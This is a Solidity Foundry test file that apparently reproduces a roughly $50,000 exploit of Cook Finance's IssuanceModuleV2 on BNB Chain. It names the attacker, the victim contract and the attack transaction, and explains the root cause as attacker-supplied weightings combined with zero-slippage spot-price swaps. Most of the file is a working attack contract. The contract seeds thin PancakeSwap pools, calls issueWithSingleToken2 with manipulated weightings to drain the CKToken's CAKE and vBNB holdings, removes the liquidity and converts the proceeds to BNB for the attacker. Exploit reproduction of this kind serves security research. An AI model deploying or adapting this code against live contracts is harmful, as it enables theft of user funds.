src/test/2026-06/CookFinanceIssuance_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~$50,000 USD
8// Attacker : 0xee18c4c2e123402731f43d680e75ca2809c30f8b
9// Attack Contract : 0xeffcb496cae89e7e92abe17d22386345707ceee4
10// Vulnerable Contract : 0x7db3cbaf736c049933a3af28dbed4a4442aa89d0
11// Victim CKToken in this tx : 0xa4e9f6032ee717710d8fd3dce0367d283e16f50e
12// Attack Tx : https://bscscan.com/tx/0x51e46828b7aabfa810910b3f8ca535053716e6bcb8b7f94a4ff59757d71a1bca
13//
14// @Info
15// Vulnerable Contract Code : https://bscscan.com/address/0x7db3cbaf736c049933a3af28dbed4a4442aa89d0#code
16//
17// @Analysis
18// Twitter Guy : https://x.com/DefimonAlerts/status/2071497001443770684
19//
20// Attack summary: the attacker seeded thin Pancake component pools, called Cook Finance
21// issueWithSingleToken2 twice with caller-chosen component weightings, removed the seeded LP, and
22// sold the recovered CKToken components for BNB.
23// Root cause: issueWithSingleToken2 used attacker-supplied weightings to trade CKToken holdings
24// through a Pancake V2 spot-price adapter with zero minimum output, so thin-pool manipulation turned
25// a one-unit issue request into real CKToken component outflows.
26 
27address constant ATTACKER = 0xEe18c4c2E123402731f43d680e75ca2809c30f8b;
28address constant HISTORICAL_ATTACK_CONTRACT = 0xeFFcB496CaE89E7E92abe17d22386345707CEEe4;
29address constant ISSUANCE_MODULE = 0x7Db3CBAf736C049933A3Af28dBeD4A4442aa89d0;
30address constant CK_TOKEN = 0xA4e9f6032ee717710D8Fd3dCE0367d283e16f50e;
31address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
32address constant PANCAKE_FACTORY = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
33address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
34 
35uint256 constant INITIAL_BNB = 0.02 ether;
36uint256 constant LARGE_SEED_BNB = 0.001 ether;
37uint256 constant SMALL_SEED_BNB = 0.0001 ether;
38uint256 constant PRECISE_UNIT = 1 ether;
39uint256 constant ISSUE_QUANTITY = 1;
40uint256 constant SMALL_COMPONENT_WEIGHT = 1_000_000 ether;
41uint256 constant TARGET_BALANCE_NUMERATOR = 999;
42uint256 constant TARGET_BALANCE_DENOMINATOR = 1000;
43 
44interface ICKTokenCook {
45    function getComponents() external view returns (address[] memory);
46    function balanceOf(
47        address owner
48    ) external view returns (uint256);
49}
50 
51interface IIssuanceModuleV2 {
52    function issueWithSingleToken2(
53        address ckToken,
54        address issueToken,
55        uint256 issueTokenQuantity,
56        uint256 minCkTokenRec,
57        address[] calldata midTokens,
58        uint256[] calldata weightings,
59        address to,
60        bool returnDust
61    ) external;
62}
63 
64contract ContractTest is BaseTestWithBalanceLog {
65    function setUp() public {
66        uint256 forkBlock = 106_740_999;
67        vm.createSelectFork("bsc", forkBlock);
68 
69        fundingToken = address(0);
70        attacker = ATTACKER;
71 
72        vm.label(ATTACKER, "Attacker");
73        vm.label(HISTORICAL_ATTACK_CONTRACT, "Historical attack contract");
74        vm.label(ISSUANCE_MODULE, "Cook IssuanceModuleV2");
75        vm.label(CK_TOKEN, "Cook CKToken");
76        vm.label(PANCAKE_ROUTER, "Pancake router");
77        vm.label(PANCAKE_FACTORY, "Pancake factory");
78        vm.label(WBNB_TOKEN, "WBNB");
79 
80        address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();
81        for (uint256 i = 0; i < components.length; i++) {
82            vm.label(components[i], string(abi.encodePacked("CK component ", vm.toString(i))));
83        }
84    }
85 
86    function testExploit() public balanceLog {
87        address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();
88        uint256 ckCakeBefore = IERC20(components[0]).balanceOf(CK_TOKEN);
89        uint256 ckVbnbBefore = IERC20(components[1]).balanceOf(CK_TOKEN);
90 
91        vm.deal(ATTACKER, INITIAL_BNB);
92 
93        vm.startPrank(ATTACKER);
94        CookFinanceIssuanceAttack attack = new CookFinanceIssuanceAttack{value: INITIAL_BNB}(ATTACKER);
95        attack.execute();
96        vm.stopPrank();
97 
98        uint256 attackerProfit = ATTACKER.balance - INITIAL_BNB;
99        assertGt(attackerProfit, 2.7 ether);
100        assertLt(IERC20(components[0]).balanceOf(CK_TOKEN), ckCakeBefore);
101        assertLt(IERC20(components[1]).balanceOf(CK_TOKEN), ckVbnbBefore);
102    }
103}
104 
105contract CookFinanceIssuanceAttack {
106    address private immutable profitReceiver;
107 
108    constructor(
109        address receiver
110    ) payable {
111        profitReceiver = receiver;
112    }
113 
114    function execute() external {
115        address[] memory components = ICKTokenCook(CK_TOKEN).getComponents();
116        require(components.length == 8, "unexpected component count");
117 
118        approveComponents(components);
119 
120        // step 1: seed CAKE/component pools and make the module sell the CKToken's CAKE balance.
121        seedFirstIssueCycle(components);
122        issueWithManipulatedWeight(components, 0);
123        removeSeededLiquidity(components, 0);
124 
125        // step 2: seed vBNB/component pools and repeat against the CKToken's vBNB balance.
126        seedSecondIssueCycle(components);
127        issueWithManipulatedWeight(components, 1);
128        removeSeededLiquidity(components, 1);
129 
130        // step 3: convert recovered components to BNB and forward the native profit.
131        swapComponentsToBnb(components);
132        payable(profitReceiver).transfer(address(this).balance);
133    }
134 
135    function seedFirstIssueCycle(
136        address[] memory components
137    ) private {
138        buyWithBnb(components[0], LARGE_SEED_BNB);
139        buyWithBnb(components[0], SMALL_SEED_BNB);
140        buyWithBnb(components[1], SMALL_SEED_BNB);
141        addThinLiquidity(components[0], components[1]);
142 
143        for (uint256 i = 2; i < components.length; i++) {
144            buyWithBnb(components[i], SMALL_SEED_BNB);
145            addThinLiquidity(components[0], components[i]);
146        }
147    }
148 
149    function seedSecondIssueCycle(
150        address[] memory components
151    ) private {
152        buyWithBnb(components[1], LARGE_SEED_BNB);
153        buyWithBnb(components[0], SMALL_SEED_BNB);
154        addThinLiquidity(components[1], components[0]);
155 
156        for (uint256 i = 2; i < components.length; i++) {
157            buyWithBnb(components[1], SMALL_SEED_BNB);
158            buyWithBnb(components[i], SMALL_SEED_BNB);
159            addThinLiquidity(components[1], components[i]);
160        }
161    }
162 
163    function issueWithManipulatedWeight(
164        address[] memory components,
165        uint256 issueIndex
166    ) private {
167        address issueToken = components[issueIndex];
168        address[] memory midTokens = new address[](components.length);
169        uint256[] memory weightings = new uint256[](components.length);
170 
171        for (uint256 i = 0; i < components.length; i++) {
172            weightings[i] = SMALL_COMPONENT_WEIGHT;
173        }
174 
175        uint256 ckIssueTokenBalance = IERC20(issueToken).balanceOf(CK_TOKEN);
176        uint256 targetSellAmount = (ckIssueTokenBalance * TARGET_BALANCE_NUMERATOR) / TARGET_BALANCE_DENOMINATOR;
177        weightings[issueIndex] = targetSellAmount * PRECISE_UNIT;
178 
179        IERC20(issueToken).approve(ISSUANCE_MODULE, ISSUE_QUANTITY);
180        IIssuanceModuleV2(ISSUANCE_MODULE)
181            .issueWithSingleToken2(CK_TOKEN, issueToken, ISSUE_QUANTITY, 0, midTokens, weightings, address(this), true);
182    }
183 
184    function addThinLiquidity(
185        address baseToken,
186        address component
187    ) private {
188        uint256 baseAmount = IERC20(baseToken).balanceOf(address(this)) / 10;
189        uint256 componentAmount = IERC20(component).balanceOf(address(this));
190 
191        if (baseAmount == 0 || componentAmount == 0) return;
192 
193        IPancakeRouter(payable(PANCAKE_ROUTER))
194            .addLiquidity(
195                baseToken, component, baseAmount, componentAmount, 0, 0, address(this), block.timestamp + 1 hours
196            );
197 
198        address pair = IUniswapV2Factory(PANCAKE_FACTORY).getPair(baseToken, component);
199        IERC20(pair).approve(PANCAKE_ROUTER, type(uint256).max);
200    }
201 
202    function removeSeededLiquidity(
203        address[] memory components,
204        uint256 baseIndex
205    ) private {
206        address baseToken = components[baseIndex];
207 
208        for (uint256 i = 0; i < components.length; i++) {
209            if (i == baseIndex) continue;
210 
211            address pair = IUniswapV2Factory(PANCAKE_FACTORY).getPair(baseToken, components[i]);
212            uint256 liquidity = IERC20(pair).balanceOf(address(this));
213            if (liquidity == 0) continue;
214 
215            IPancakeRouter(payable(PANCAKE_ROUTER))
216                .removeLiquidity(baseToken, components[i], liquidity, 0, 0, address(this), block.timestamp + 1 hours);
217        }
218    }
219 
220    function swapComponentsToBnb(
221        address[] memory components
222    ) private {
223        for (uint256 i = 0; i < components.length; i++) {
224            uint256 balance = IERC20(components[i]).balanceOf(address(this));
225            if (balance == 0) continue;
226 
227            address[] memory path = new address[](2);
228            path[0] = components[i];
229            path[1] = WBNB_TOKEN;
230 
231            IPancakeRouter(payable(PANCAKE_ROUTER))
232                .swapExactTokensForETH(balance, 0, path, address(this), block.timestamp + 1 hours);
233        }
234    }
235 
236    function buyWithBnb(
237        address token,
238        uint256 amount
239    ) private {
240        address[] memory path = new address[](2);
241        path[0] = WBNB_TOKEN;
242        path[1] = token;
243 
244        IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactETHForTokens{value: amount}(
245            0, path, address(this), block.timestamp + 1 hours
246        );
247    }
248 
249    function approveComponents(
250        address[] memory components
251    ) private {
252        for (uint256 i = 0; i < components.length; i++) {
253            IERC20(components[i]).approve(PANCAKE_ROUTER, type(uint256).max);
254        }
255    }
256 
257    receive() external payable {}
258}